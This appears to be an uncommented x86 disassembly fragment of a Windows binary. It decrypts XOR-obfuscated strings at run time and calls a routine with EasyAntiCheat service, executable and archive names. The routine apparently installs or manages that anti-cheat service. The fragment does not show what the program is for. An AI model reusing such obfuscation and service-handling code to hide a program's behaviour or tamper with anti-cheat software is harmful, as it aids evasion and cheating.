mov word [ebp - 0x2030], 0x4368
test al, 1
jne 0x15f9c
or eax, 1
mov byte [ebx + 0x1b2], 1
mov dword [ebx + 0xb8], eax
xorps xmm0, xmm0
mov ax, word [ebp - 0x2030]
push 0x54c20
movlpd qword [ebp - 0x2020], xmm0
mov word [ebx + 0x1b0], ax
call fcn.0002dbad
add esp, 4
mov eax, ebx
cmp byte [eax + 0x1b2], 0
lea eax, [eax + 0x1b0]
mov dword [ebp - 0x20bc], eax
je 0x16017
mov esi, dword [ebp - 0x20bc]
xorps xmm0, xmm0
movlpd qword [ebp - 0x2020], xmm0
mov eax, dword [ebp - 0x201c]
mov ebx, dword [ebp - 0x2020]
mov dword [ebp - 0x20a4], eax
mov ecx, ebx
mov eax, 0xe539435b
and ecx, 7
mov edx, 0x51599f1d
shl ecx, 3
call fcn.00053dd0
xor byte [esi + ebx], al
add ebx, 1
adc dword [ebp - 0x20a4], 0
jne 0x16001
cmp ebx, 2
jb 0x15fd6
mov eax, dword [ebp - 0x20bc]
mov ebx, dword [ebp - 0x209c]
mov byte [esi + 2], 0
mov esi, dword [ebp - 0x200c]
push eax
lea eax, [ebp - 0x2008]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x16134
mov eax, dword [ebx + 0x1d4]
mov dword [ebp - 0x2040], 0xae658968
mov word [ebp - 0x203c], 0xb92d
test al, 1
jne 0x160aa
or eax, 1
mov byte [ebx + 0x15a], 1
mov dword [ebx + 0x1d4], eax
xorps xmm0, xmm0
mov eax, dword [ebp - 0x2040]
mov dword [ebx + 0x154], eax
mov ax, word [ebp - 0x203c]
movlpd qword [ebp - 0x2020], xmm0
mov ecx, dword [ebp - 0x201c]
mov word [ebx + 0x158], ax
mov eax, dword [ebp - 0x2020]
nop dword [eax + eax]
add eax, 1
adc ecx, 0
jne 0x1609d
cmp eax, 6
jb 0x16090
push 0x54c00
call fcn.0002dbad
add esp, 4
mov eax, ebx
cmp byte [eax + 0x15a], 0
lea edx, [eax + 0x154]
mov dword [ebp - 0x20bc], edx
je 0x1611b
xorps xmm0, xmm0
mov esi, edx
movlpd qword [ebp - 0x2020], xmm0
mov eax, dword [ebp - 0x201c]
mov ebx, dword [ebp - 0x2020]
mov dword [ebp - 0x20a4], eax
mov ecx, ebx
mov eax, 0xc707a75b
and ecx, 7
mov edx, 0xc7cfb943
shl ecx, 3
call fcn.00053dd0
xor byte [esi + ebx], al
add ebx, 1
adc dword [ebp - 0x20a4], 0
jne 0x1610b
cmp ebx, 6
jb 0x160e0
mov edx, dword [ebp - 0x20bc]
mov byte [esi + 6], 0
mov esi, dword [ebp - 0x200c]
push 3
push str.EasyAntiCheat_Service
push str.EasyAntiCheat.exe
mov ecx, str.EasyAntiCheat.zip
call fcn.00013c50
add esp, 0xc
push dword [ebp - 0x20ac]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0x20b4]
call fcn.00016990
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebp - 0x209c]
jmp 0x157d6
push 0x69d64
call fcn.0002d88d
add esp, 4
cmp dword [0x69d64], 0xffffffff
jne 0x14e6c
push str.MessageBoxTimeoutW
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call ebx
push 0x69d64
mov dword [0x69d60], eax
call fcn.0002d83c
add esp, 4
jmp 0x14e6c